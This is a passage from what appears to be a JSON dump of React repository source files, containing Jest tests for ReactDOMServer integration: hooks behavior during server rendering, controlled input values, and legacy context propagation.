expect(parent.childNodes[1].tagName).toBe('SPAN');\n      expect(parent.childNodes[2].tagName).toBe('P');\n      expect(parent.childNodes[3].tagName).toBe('H2');\n      expect(parent.childNodes[4].tagName).toBe('H3');\n    });\n\n    itRenders('a nested fragment', async render => {\n      const e = await render(\n        <>\n          <>\n            <div>text1</div>\n          </>\n          <span>text2</span>\n          <>\n            <>\n              <>\n                {null}\n                <p />\n              </>\n              {false}\n            </>\n          </>\n        </>,\n      );\n      const parent = e.parentNode;\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n      expect(parent.childNodes[1].tagName).toBe('SPAN');\n      expect(parent.childNodes[2].tagName).toBe('P');\n    });\n\n    itRenders('an empty fragment', async render => {\n      expect(\n        (\n          await render(\n            <div>\n              <React.Fragment />\n            </div>,\n          )\n        ).firstChild,\n      ).toBe(null);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationHooks-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n/* eslint-disable no-func-assign */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet useState;\nlet useReducer;\nlet useEffect;\nlet useContext;\nlet useCallback;\nlet useMemo;\nlet useRef;\nlet useImperativeHandle;\nlet useInsertionEffect;\nlet useLayoutEffect;\nlet useDebugValue;\nlet forwardRef;\nlet yieldedValues;\nlet yieldValue;\nlet clearLog;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n  useState = React.useState;\n  useReducer = React.useReducer;\n  useEffect = React.useEffect;\n  useContext = React.useContext;\n  useCallback = React.useCallback;\n  useMemo = React.useMemo;\n  useRef = React.useRef;\n  useDebugValue = React.useDebugValue;\n  useImperativeHandle = React.useImperativeHandle;\n  useInsertionEffect = React.useInsertionEffect;\n  useLayoutEffect = React.useLayoutEffect;\n  forwardRef = React.forwardRef;\n\n  yieldedValues = [];\n  yieldValue = value => {\n    yieldedValues.push(value);\n  };\n  clearLog = () => {\n    const ret = yieldedValues;\n    yieldedValues = [];\n    return ret;\n  };\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {\n  resetModules,\n  itRenders,\n  itThrowsWhenRendering,\n  clientRenderOnBadMarkup,\n  serverRender,\n} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerHooks', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  function Text(props) {\n    yieldValue(props.text);\n    return <span>{props.text}</span>;\n  }\n\n  describe('useState', () => {\n    itRenders('basic render', async render => {\n      function Counter(props) {\n        const [count] = useState(0);\n        return <span>Count: {count}</span>;\n      }\n\n      const domNode = await render(<Counter />);\n      expect(domNode.textContent).toEqual('Count: 0');\n    });\n\n    itRenders('lazy state initialization', async render => {\n      function Counter(props) {\n        const [count] = useState(() => {\n          return 0;\n        });\n        return <span>Count: {count}</span>;\n      }\n\n      const domNode = await render(<Counter />);\n      expect(domNode.textContent).toEqual('Count: 0');\n    });\n\n    it('does not trigger a re-renders when updater is invoked outside current render function', async () => {\n      function UpdateCount({setCount, count, children}) {\n        if (count < 3) {\n          setCount(c => c + 1);\n        }\n        return <span>{children}</span>;\n      }\n      function Counter() {\n        const [count, setCount] = useState(0);\n        return (\n          <div>\n            <UpdateCount setCount={setCount} count={count}>\n              Count: {count}\n            </UpdateCount>\n          </div>\n        );\n      }\n\n      const domNode = await serverRender(<Counter />);\n      expect(domNode.textContent).toEqual('Count: 0');\n    });\n\n    itThrowsWhenRendering(\n      'if used inside a class component',\n      async render => {\n        class Counter extends React.Component {\n          render() {\n            const [count] = useState(0);\n            return <Text text={count} />;\n          }\n        }\n\n        return render(<Counter />);\n      },\n      'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n        ' one of the following reasons:\\n' +\n        '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n        '2. You might be breaking the Rules of Hooks\\n' +\n        '3. You might have more than one copy of React in the same app\\n' +\n        'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n    );\n\n    itRenders('multiple times when an updater is called', async render => {\n      function Counter() {\n        const [count, setCount] = useState(0);\n        if (count < 12) {\n          setCount(c => c + 1);\n          setCount(c => c + 1);\n          setCount(c => c + 1);\n        }\n        return <Text text={'Count: ' + count} />;\n      }\n\n      const domNode = await render(<Counter />);\n      expect(domNode.textContent).toEqual('Count: 12');\n    });\n\n    itRenders('until there are no more new updates', async render => {\n      function Counter() {\n        const [count, setCount] = useState(0);\n        if (count < 3) {\n          setCount(count + 1);\n        }\n        return <span>Count: {count}</span>;\n      }\n\n      const domNode = await render(<Counter />);\n      expect(domNode.textContent).toEqual('Count: 3');\n    });\n\n    itThrowsWhenRendering(\n      'after too many iterations',\n      async render => {\n        function Counter() {\n          const [count, setCount] = useState(0);\n          setCount(count + 1);\n          return <span>{count}</span>;\n        }\n        return render(<Counter />);\n      },\n      'Too many re-renders. React limits the number of renders to prevent ' +\n        'an infinite loop.',\n    );\n  });\n\n  describe('useReducer', () => {\n    itRenders('with initial state', async render => {\n      function reducer(state, action) {\n        return action === 'increment' ? state + 1 : state;\n      }\n      function Counter() {\n        const [count] = useReducer(reducer, 0);\n        yieldValue('Render: ' + count);\n        return <Text text={count} />;\n      }\n\n      const domNode = await render(<Counter />);\n\n      expect(clearLog()).toEqual(['Render: 0', 0]);\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('0');\n    });\n\n    itRenders('lazy initialization', async render => {\n      function reducer(state, action) {\n        return action === 'increment' ? state + 1 : state;\n      }\n      function Counter() {\n        const [count] = useReducer(reducer, 0, c => c + 1);\n        yieldValue('Render: ' + count);\n        return <Text text={count} />;\n      }\n\n      const domNode = await render(<Counter />);\n\n      expect(clearLog()).toEqual(['Render: 1', 1]);\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('1');\n    });\n\n    itRenders(\n      'multiple times when updates happen during the render phase',\n      async render => {\n        function reducer(state, action) {\n          return action === 'increment' ? state + 1 : state;\n        }\n        function Counter() {\n          const [count, dispatch] = useReducer(reducer, 0);\n          if (count < 3) {\n            dispatch('increment');\n          }\n          yieldValue('Render: ' + count);\n          return <Text text={count} />;\n        }\n\n        const domNode = await render(<Counter />);\n\n        expect(clearLog()).toEqual([\n          'Render: 0',\n          'Render: 1',\n          'Render: 2',\n          'Render: 3',\n          3,\n        ]);\n        expect(domNode.tagName).toEqual('SPAN');\n        expect(domNode.textContent).toEqual('3');\n      },\n    );\n\n    itRenders(\n      'using reducer passed at time of render, not time of dispatch',\n      async render => {\n        // This test is a bit contrived but it demonstrates a subtle edge case.\n\n        // Reducer A increments by 1. Reducer B increments by 10.\n        function reducerA(state, action) {\n          switch (action) {\n            case 'increment':\n              return state + 1;\n            case 'reset':\n              return 0;\n          }\n        }\n        function reducerB(state, action) {\n          switch (action) {\n            case 'increment':\n              return state + 10;\n            case 'reset':\n              return 0;\n          }\n        }\n\n        function Counter() {\n          const [reducer, setReducer] = useState(() => reducerA);\n          const [count, dispatch] = useReducer(reducer, 0);\n          if (count < 20) {\n            dispatch('increment');\n            // Swap reducers each time we increment\n            if (reducer === reducerA) {\n              setReducer(() => reducerB);\n            } else {\n              setReducer(() => reducerA);\n            }\n          }\n          yieldValue('Render: ' + count);\n          return <Text text={count} />;\n        }\n\n        const domNode = await render(<Counter />);\n\n        expect(clearLog()).toEqual([\n          // The count should increase by alternating amounts of 10 and 1\n          // until we reach 21.\n          'Render: 0',\n          'Render: 10',\n          'Render: 11',\n          'Render: 21',\n          21,\n        ]);\n        expect(domNode.tagName).toEqual('SPAN');\n        expect(domNode.textContent).toEqual('21');\n      },\n    );\n  });\n\n  describe('useMemo', () => {\n    itRenders('basic render', async render => {\n      function CapitalizedText(props) {\n        const text = props.text;\n        const capitalizedText = useMemo(() => {\n          yieldValue(`Capitalize '${text}'`);\n          return text.toUpperCase();\n        }, [text]);\n        return <Text text={capitalizedText} />;\n      }\n\n      const domNode = await render(<CapitalizedText text=\"hello\" />);\n      expect(clearLog()).toEqual([\"Capitalize 'hello'\", 'HELLO']);\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('HELLO');\n    });\n\n    itRenders('if no inputs are provided', async render => {\n      function LazyCompute(props) {\n        const computed = useMemo(props.compute);\n        return <Text text={computed} />;\n      }\n\n      function computeA() {\n        yieldValue('compute A');\n        return 'A';\n      }\n\n      const domNode = await render(<LazyCompute compute={computeA} />);\n      expect(clearLog()).toEqual(['compute A', 'A']);\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('A');\n    });\n\n    itRenders(\n      'multiple times when updates happen during the render phase',\n      async render => {\n        function CapitalizedText(props) {\n          const [text, setText] = useState(props.text);\n          const capitalizedText = useMemo(() => {\n            yieldValue(`Capitalize '${text}'`);\n            return text.toUpperCase();\n          }, [text]);\n\n          if (text === 'hello') {\n            setText('hello, world.');\n          }\n          return <Text text={capitalizedText} />;\n        }\n\n        const domNode = await render(<CapitalizedText text=\"hello\" />);\n        expect(clearLog()).toEqual([\n          \"Capitalize 'hello'\",\n          \"Capitalize 'hello, world.'\",\n          'HELLO, WORLD.',\n        ]);\n        expect(domNode.tagName).toEqual('SPAN');\n        expect(domNode.textContent).toEqual('HELLO, WORLD.');\n      },\n    );\n\n    itRenders(\n      'should only invoke the memoized function when the inputs change',\n      async render => {\n        function CapitalizedText(props) {\n          const [text, setText] = useState(props.text);\n          const [count, setCount] = useState(0);\n          const capitalizedText = useMemo(() => {\n            yieldValue(`Capitalize '${text}'`);\n            return text.toUpperCase();\n          }, [text]);\n\n          yieldValue(count);\n\n          if (count < 3) {\n            setCount(count + 1);\n          }\n\n          if (text === 'hello' && count === 2) {\n            setText('hello, world.');\n          }\n          return <Text text={capitalizedText} />;\n        }\n\n        const domNode = await render(<CapitalizedText text=\"hello\" />);\n        expect(clearLog()).toEqual([\n          \"Capitalize 'hello'\",\n          0,\n          1,\n          2,\n          // `capitalizedText` only recomputes when the text has changed\n          \"Capitalize 'hello, world.'\",\n          3,\n          'HELLO, WORLD.',\n        ]);\n        expect(domNode.tagName).toEqual('SPAN');\n        expect(domNode.textContent).toEqual('HELLO, WORLD.');\n      },\n    );\n\n    itRenders('with a warning for useState inside useMemo', async render => {\n      function App() {\n        useMemo(() => {\n          useState();\n          return 0;\n        });\n        return 'hi';\n      }\n      const domNode = await render(\n        <App />,\n        render === clientRenderOnBadMarkup\n          ? // On hydration mismatch we retry and therefore log the warning again.\n            2\n          : 1,\n      );\n      expect(domNode.textContent).toEqual('hi');\n    });\n\n    itRenders('with a warning for useRef inside useState', async render => {\n      function App() {\n        const [value] = useState(() => {\n          useRef(0);\n          return 0;\n        });\n        return value;\n      }\n\n      const domNode = await render(\n        <App />,\n        render === clientRenderOnBadMarkup\n          ? // On hydration mismatch we retry and therefore log the warning again.\n            2\n          : 1,\n      );\n      expect(domNode.textContent).toEqual('0');\n    });\n  });\n\n  describe('useRef', () => {\n    itRenders('basic render', async render => {\n      function Counter(props) {\n        const ref = useRef();\n        return <span ref={ref}>Hi</span>;\n      }\n\n      const domNode = await render(<Counter />);\n      expect(domNode.textContent).toEqual('Hi');\n    });\n\n    itRenders(\n      'multiple times when updates happen during the render phase',\n      async render => {\n        function Counter(props) {\n          const [count, setCount] = useState(0);\n          const ref = useRef();\n\n          if (count < 3) {\n            const newCount = count + 1;\n            setCount(newCount);\n          }\n\n          yieldValue(count);\n\n          return <span ref={ref}>Count: {count}</span>;\n        }\n\n        const domNode = await render(<Counter />);\n        expect(clearLog()).toEqual([0, 1, 2, 3]);\n        expect(domNode.textContent).toEqual('Count: 3');\n      },\n    );\n\n    itRenders(\n      'always return the same reference through multiple renders',\n      async render => {\n        let firstRef = null;\n        function Counter(props) {\n          const [count, setCount] = useState(0);\n          const ref = useRef();\n          if (firstRef === null) {\n            firstRef = ref;\n          } else if (firstRef !== ref) {\n            throw new Error('should never change');\n          }\n\n          if (count < 3) {\n            setCount(count + 1);\n          } else {\n            firstRef = null;\n          }\n\n          yieldValue(count);\n\n          return <span ref={ref}>Count: {count}</span>;\n        }\n\n        const domNode = await render(<Counter />);\n        expect(clearLog()).toEqual([0, 1, 2, 3]);\n        expect(domNode.textContent).toEqual('Count: 3');\n      },\n    );\n  });\n\n  describe('useEffect', () => {\n    const yields = [];\n    itRenders('should ignore effects on the server', async render => {\n      function Counter(props) {\n        useEffect(() => {\n          yieldValue('invoked on client');\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n\n      const domNode = await render(<Counter count={0} />);\n      yields.push(clearLog());\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('Count: 0');\n    });\n\n    it('verifies yields in order', () => {\n      expect(yields).toEqual([\n        ['Count: 0'], // server render\n        ['Count: 0'], // server stream\n        ['Count: 0', 'invoked on client'], // clean render\n        ['Count: 0', 'invoked on client'], // hydrated render\n        // nothing yielded for bad markup\n      ]);\n    });\n  });\n\n  describe('useCallback', () => {\n    itRenders('should not invoke the passed callbacks', async render => {\n      function Counter(props) {\n        useCallback(() => {\n          yieldValue('should not be invoked');\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n      const domNode = await render(<Counter count={0} />);\n      expect(clearLog()).toEqual(['Count: 0']);\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('Count: 0');\n    });\n\n    itRenders('should support render time callbacks', async render => {\n      function Counter(props) {\n        const renderCount = useCallback(increment => {\n          return 'Count: ' + (props.count + increment);\n        });\n        return <Text text={renderCount(3)} />;\n      }\n      const domNode = await render(<Counter count={2} />);\n      expect(clearLog()).toEqual(['Count: 5']);\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('Count: 5');\n    });\n\n    itRenders(\n      'should only change the returned reference when the inputs change',\n      async render => {\n        function CapitalizedText(props) {\n          const [text, setText] = useState(props.text);\n          const [count, setCount] = useState(0);\n          const capitalizeText = useCallback(() => text.toUpperCase(), [text]);\n          yieldValue(capitalizeText);\n          if (count < 3) {\n            setCount(count + 1);\n          }\n          if (text === 'hello' && count === 2) {\n            setText('hello, world.');\n          }\n          return <Text text={capitalizeText()} />;\n        }\n\n        const domNode = await render(<CapitalizedText text=\"hello\" />);\n        const [first, second, third, fourth, result] = clearLog();\n        expect(first).toBe(second);\n        expect(second).toBe(third);\n        expect(third).not.toBe(fourth);\n        expect(result).toEqual('HELLO, WORLD.');\n        expect(domNode.tagName).toEqual('SPAN');\n        expect(domNode.textContent).toEqual('HELLO, WORLD.');\n      },\n    );\n  });\n\n  describe('useImperativeHandle', () => {\n    it('should not be invoked on the server', async () => {\n      function Counter(props, ref) {\n        useImperativeHandle(ref, () => {\n          throw new Error('should not be invoked');\n        });\n        return <Text text={props.label + ': ' + ref.current} />;\n      }\n      Counter = forwardRef(Counter);\n      const counter = React.createRef();\n      counter.current = 0;\n      const domNode = await serverRender(\n        <Counter label=\"Count\" ref={counter} />,\n      );\n      expect(clearLog()).toEqual(['Count: 0']);\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('Count: 0');\n    });\n  });\n  describe('useInsertionEffect', () => {\n    it('should warn when invoked during render', async () => {\n      function Counter() {\n        useInsertionEffect(() => {\n          throw new Error('should not be invoked');\n        });\n\n        return <Text text=\"Count: 0\" />;\n      }\n      const domNode = await serverRender(<Counter />, 1);\n      expect(clearLog()).toEqual(['Count: 0']);\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('Count: 0');\n    });\n  });\n\n  describe('useLayoutEffect', () => {\n    it('should warn when invoked during render', async () => {\n      function Counter() {\n        useLayoutEffect(() => {\n          throw new Error('should not be invoked');\n        });\n\n        return <Text text=\"Count: 0\" />;\n      }\n      const domNode = await serverRender(<Counter />, 1);\n      expect(clearLog()).toEqual(['Count: 0']);\n      expect(domNode.tagName).toEqual('SPAN');\n      expect(domNode.textContent).toEqual('Count: 0');\n    });\n  });\n\n  describe('useContext', () => {\n    itThrowsWhenRendering(\n      'if used inside a class component',\n      async render => {\n        const Context = React.createContext({}, () => {});\n        class Counter extends React.Component {\n          render() {\n            const [count] = useContext(Context);\n            return <Text text={count} />;\n          }\n        }\n\n        return render(<Counter />);\n      },\n      'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n        ' one of the following reasons:\\n' +\n        '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n        '2. You might be breaking the Rules of Hooks\\n' +\n        '3. You might have more than one copy of React in the same app\\n' +\n        'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n    );\n  });\n\n  describe('invalid hooks', () => {\n    it('warns when calling useRef inside useReducer', async () => {\n      function App() {\n        const [value, dispatch] = useReducer((state, action) => {\n          useRef(0);\n          return state + 1;\n        }, 0);\n        if (value === 0) {\n          dispatch();\n        }\n        return value;\n      }\n\n      let error;\n      try {\n        await serverRender(<App />);\n      } catch (x) {\n        error = x;\n      }\n      expect(error).not.toBe(undefined);\n      expect(error.message).toContain(\n        'Rendered more hooks than during the previous render',\n      );\n    });\n  });\n\n  itRenders(\n    'can use the same context multiple times in the same function',\n    async render => {\n      const Context = React.createContext({foo: 0, bar: 0, baz: 0});\n\n      function Provider(props) {\n        return (\n          <Context.Provider\n            value={{foo: props.foo, bar: props.bar, baz: props.baz}}>\n            {props.children}\n          </Context.Provider>\n        );\n      }\n\n      function FooAndBar() {\n        const {foo} = useContext(Context);\n        const {bar} = useContext(Context);\n        return <Text text={`Foo: ${foo}, Bar: ${bar}`} />;\n      }\n\n      function Baz() {\n        const {baz} = useContext(Context);\n        return <Text text={'Baz: ' + baz} />;\n      }\n\n      class Indirection extends React.Component {\n        render() {\n          return this.props.children;\n        }\n      }\n\n      function App(props) {\n        return (\n          <div>\n            <Provider foo={props.foo} bar={props.bar} baz={props.baz}>\n              <Indirection>\n                <Indirection>\n                  <FooAndBar />\n                </Indirection>\n                <Indirection>\n                  <Baz />\n                </Indirection>\n              </Indirection>\n            </Provider>\n          </div>\n        );\n      }\n\n      const domNode = await render(<App foo={1} bar={3} baz={5} />);\n      expect(clearLog()).toEqual(['Foo: 1, Bar: 3', 'Baz: 5']);\n      expect(domNode.childNodes.length).toBe(2);\n      expect(domNode.firstChild.tagName).toEqual('SPAN');\n      expect(domNode.firstChild.textContent).toEqual('Foo: 1, Bar: 3');\n      expect(domNode.lastChild.tagName).toEqual('SPAN');\n      expect(domNode.lastChild.textContent).toEqual('Baz: 5');\n    },\n  );\n\n  describe('useDebugValue', () => {\n    itRenders('is a noop', async render => {\n      function Counter(props) {\n        const debugValue = useDebugValue(123);\n        return <Text text={typeof debugValue} />;\n      }\n\n      const domNode = await render(<Counter />);\n      expect(domNode.textContent).toEqual('undefined');\n    });\n  });\n\n  describe('readContext', () => {\n    function readContext(Context) {\n      const dispatcher =\n        React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.H;\n      return dispatcher.readContext(Context);\n    }\n\n    itRenders(\n      'can read the same context multiple times in the same function',\n      async render => {\n        const Context = React.createContext(\n          {foo: 0, bar: 0, baz: 0},\n          (a, b) => {\n            let result = 0;\n            if (a.foo !== b.foo) {\n              result |= 0b001;\n            }\n            if (a.bar !== b.bar) {\n              result |= 0b010;\n            }\n            if (a.baz !== b.baz) {\n              result |= 0b100;\n            }\n            return result;\n          },\n        );\n\n        function Provider(props) {\n          return (\n            <Context.Provider\n              value={{foo: props.foo, bar: props.bar, baz: props.baz}}>\n              {props.children}\n            </Context.Provider>\n          );\n        }\n\n        function FooAndBar() {\n          const {foo} = readContext(Context, 0b001);\n          const {bar} = readContext(Context, 0b010);\n          return <Text text={`Foo: ${foo}, Bar: ${bar}`} />;\n        }\n\n        function Baz() {\n          const {baz} = readContext(Context, 0b100);\n          return <Text text={'Baz: ' + baz} />;\n        }\n\n        class Indirection extends React.Component {\n          shouldComponentUpdate() {\n            return false;\n          }\n          render() {\n            return this.props.children;\n          }\n        }\n\n        function App(props) {\n          return (\n            <div>\n              <Provider foo={props.foo} bar={props.bar} baz={props.baz}>\n                <Indirection>\n                  <Indirection>\n                    <FooAndBar />\n                  </Indirection>\n                  <Indirection>\n                    <Baz />\n                  </Indirection>\n                </Indirection>\n              </Provider>\n            </div>\n          );\n        }\n\n        const domNode = await render(<App foo={1} bar={3} baz={5} />);\n        expect(clearLog()).toEqual(['Foo: 1, Bar: 3', 'Baz: 5']);\n        expect(domNode.childNodes.length).toBe(2);\n        expect(domNode.firstChild.tagName).toEqual('SPAN');\n        expect(domNode.firstChild.textContent).toEqual('Foo: 1, Bar: 3');\n        expect(domNode.lastChild.tagName).toEqual('SPAN');\n        expect(domNode.lastChild.textContent).toEqual('Baz: 5');\n      },\n    );\n\n    itRenders('with a warning inside useMemo and useReducer', async render => {\n      const Context = React.createContext(42);\n\n      function ReadInMemo(props) {\n        const count = React.useMemo(() => readContext(Context), []);\n        return <Text text={count} />;\n      }\n\n      function ReadInReducer(props) {\n        const [count, dispatch] = React.useReducer(() => readContext(Context));\n        if (count !== 42) {\n          dispatch();\n        }\n        return <Text text={count} />;\n      }\n\n      const domNode1 = await render(\n        <ReadInMemo />,\n        render === clientRenderOnBadMarkup\n          ? // On hydration mismatch we retry and therefore log the warning again.\n            2\n          : 1,\n      );\n      expect(domNode1.textContent).toEqual('42');\n\n      const domNode2 = await render(<ReadInReducer />, 1);\n      expect(domNode2.textContent).toEqual('42');\n    });\n  });\n\n  it('renders successfully after a component using hooks throws an error', () => {\n    function ThrowingComponent() {\n      const [value, dispatch] = useReducer((state, action) => {\n        return state + 1;\n      }, 0);\n\n      // throw an error if the count gets too high during the re-render phase\n      if (value >= 3) {\n        throw new Error('Error from ThrowingComponent');\n      } else {\n        // dispatch to trigger a re-render of the component\n        dispatch();\n      }\n\n      return <div>{value}</div>;\n    }\n\n    function NonThrowingComponent() {\n      const [count] = useState(0);\n      return <div>{count}</div>;\n    }\n\n    // First, render a component that will throw an error during a re-render triggered\n    // by a dispatch call.\n    expect(() => ReactDOMServer.renderToString(<ThrowingComponent />)).toThrow(\n      'Error from ThrowingComponent',\n    );\n\n    // Next, assert that we can render a function component using hooks immediately\n    // after an error occurred, which indictates the internal hooks state has been\n    // reset.\n    const container = document.createElement('div');\n    container.innerHTML = ReactDOMServer.renderToString(\n      <NonThrowingComponent />,\n    );\n    expect(container.children[0].textContent).toEqual('0');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationInput-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n// Set by `yarn test-fire`.\nconst {disableInputAttributeSyncing} = require('shared/ReactFeatureFlags');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\n// TODO: Run this in React Fire mode after we figure out the SSR behavior.\nconst desc = disableInputAttributeSyncing ? xdescribe : describe;\ndesc('ReactDOMServerIntegrationInput', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  itRenders('an input with a value and an onChange', async render => {\n    const e = await render(<input value=\"foo\" onChange={() => {}} />);\n    expect(e.value).toBe('foo');\n  });\n\n  itRenders('an input with a bigint value and an onChange', async render => {\n    const e = await render(<input value={5n} onChange={() => {}} />);\n    expect(e.value).toBe('5');\n  });\n\n  itRenders('an input with a value and readOnly', async render => {\n    const e = await render(<input value=\"foo\" readOnly={true} />);\n    expect(e.value).toBe('foo');\n  });\n\n  itRenders('an input with a value and no onChange/readOnly', async render => {\n    // this configuration should raise a dev warning that value without\n    // onChange or readOnly is a mistake.\n    const e = await render(<input value=\"foo\" />, 1);\n    expect(e.value).toBe('foo');\n    expect(e.getAttribute('value')).toBe('foo');\n  });\n\n  itRenders('an input with a defaultValue', async render => {\n    const e = await render(<input defaultValue=\"foo\" />);\n    expect(e.value).toBe('foo');\n    expect(e.getAttribute('value')).toBe('foo');\n    expect(e.getAttribute('defaultValue')).toBe(null);\n  });\n\n  itRenders('an input value overriding defaultValue', async render => {\n    const e = await render(\n      <input value=\"foo\" defaultValue=\"bar\" readOnly={true} />,\n      1,\n    );\n    expect(e.value).toBe('foo');\n    expect(e.getAttribute('value')).toBe('foo');\n    expect(e.getAttribute('defaultValue')).toBe(null);\n  });\n\n  itRenders(\n    'an input value overriding defaultValue no matter the prop order',\n    async render => {\n      const e = await render(\n        <input defaultValue=\"bar\" value=\"foo\" readOnly={true} />,\n        1,\n      );\n      expect(e.value).toBe('foo');\n      expect(e.getAttribute('value')).toBe('foo');\n      expect(e.getAttribute('defaultValue')).toBe(null);\n    },\n  );\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContext-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet PropTypes;\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet assertConsoleErrorDev;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  PropTypes = require('prop-types');\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {\n  resetModules,\n  itRenders,\n  itThrowsWhenRendering,\n  clientRenderOnBadMarkup,\n} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n  afterEach(() => {\n    // TODO: This is a hack because expectErrors does not restore mock,\n    // however fixing it requires a major refactor to all these tests.\n    if (console.error.mockClear) {\n      console.error.mockRestore();\n    }\n  });\n\n  describe('legacy context', function () {\n    // The `itRenders` test abstraction doesn't work with @gate so we have\n    // to do this instead.\n    if (gate(flags => flags.disableLegacyContext)) {\n      it('empty test to stop Jest from being a complainy complainer', () => {});\n      return;\n    }\n\n    let PurpleContext, RedContext;\n    beforeEach(() => {\n      class Parent extends React.Component {\n        getChildContext() {\n          return {text: this.props.text};\n        }\n        render() {\n          return this.props.children;\n        }\n      }\n      Parent.childContextTypes = {text: PropTypes.string};\n\n      PurpleContext = props => <Parent text=\"purple\">{props.children}</Parent>;\n      RedContext = props => <Parent text=\"red\">{props.children}</Parent>;\n    });\n\n    itRenders('class child with context', async render => {\n      class ClassChildWithContext extends React.Component {\n        render() {\n          return <div>{this.context.text}</div>;\n        }\n      }\n      ClassChildWithContext.contextTypes = {text: PropTypes.string};\n\n      const e = await render(\n        <PurpleContext>\n          <ClassChildWithContext />\n        </PurpleContext>,\n        2,\n      );\n      expect(e.textContent).toBe('purple');\n    });\n\n    itRenders('stateless child with context', async render => {\n      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {\n        return;\n      }\n      function FunctionChildWithContext(props, context) {\n        return <div>{context.text}</div>;\n      }\n      FunctionChildWithContext.contextTypes = {text: PropTypes.string};\n\n      const e = await render(\n        <PurpleContext>\n          <FunctionChildWithContext />\n        </PurpleContext>,\n        2,\n      );\n      expect(e.textContent).toBe('purple');\n    });\n\n    itRenders('class child without context', async render => {\n      class ClassChildWithoutContext extends React.Component {\n        render() {\n          // this should render blank; context isn't passed to this component.\n          return <div>{this.context.text}</div>;\n        }\n      }\n\n      const e = await render(\n        <PurpleContext>\n          <ClassChildWithoutContext />\n        </PurpleContext>,\n        1,\n      );\n      expect(e.textContent).toBe('');\n    });\n\n    itRenders('stateless child without context', async render => {\n      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {\n        return;\n      }\n      function FunctionChildWithoutContext(props, context) {\n        // this should render blank; context isn't passed to this component.\n        return <div>{context.text}</div>;\n      }\n\n      const e = await render(\n        <PurpleContext>\n          <FunctionChildWithoutContext />\n        </PurpleContext>,\n        1,\n      );\n      expect(e.textContent).toBe('');\n    });\n\n    itRenders('class child with wrong context', async render => {\n      class ClassChildWithWrongContext extends React.Component {\n        render() {\n          // this should render blank; context.text isn't passed to this component.\n          return <div id=\"classWrongChild\">{this.context.text}</div>;\n        }\n      }\n      ClassChildWithWrongContext.contextTypes = {foo: PropTypes.string};\n\n      const e = await render(\n        <PurpleContext>\n          <ClassChildWithWrongContext />\n        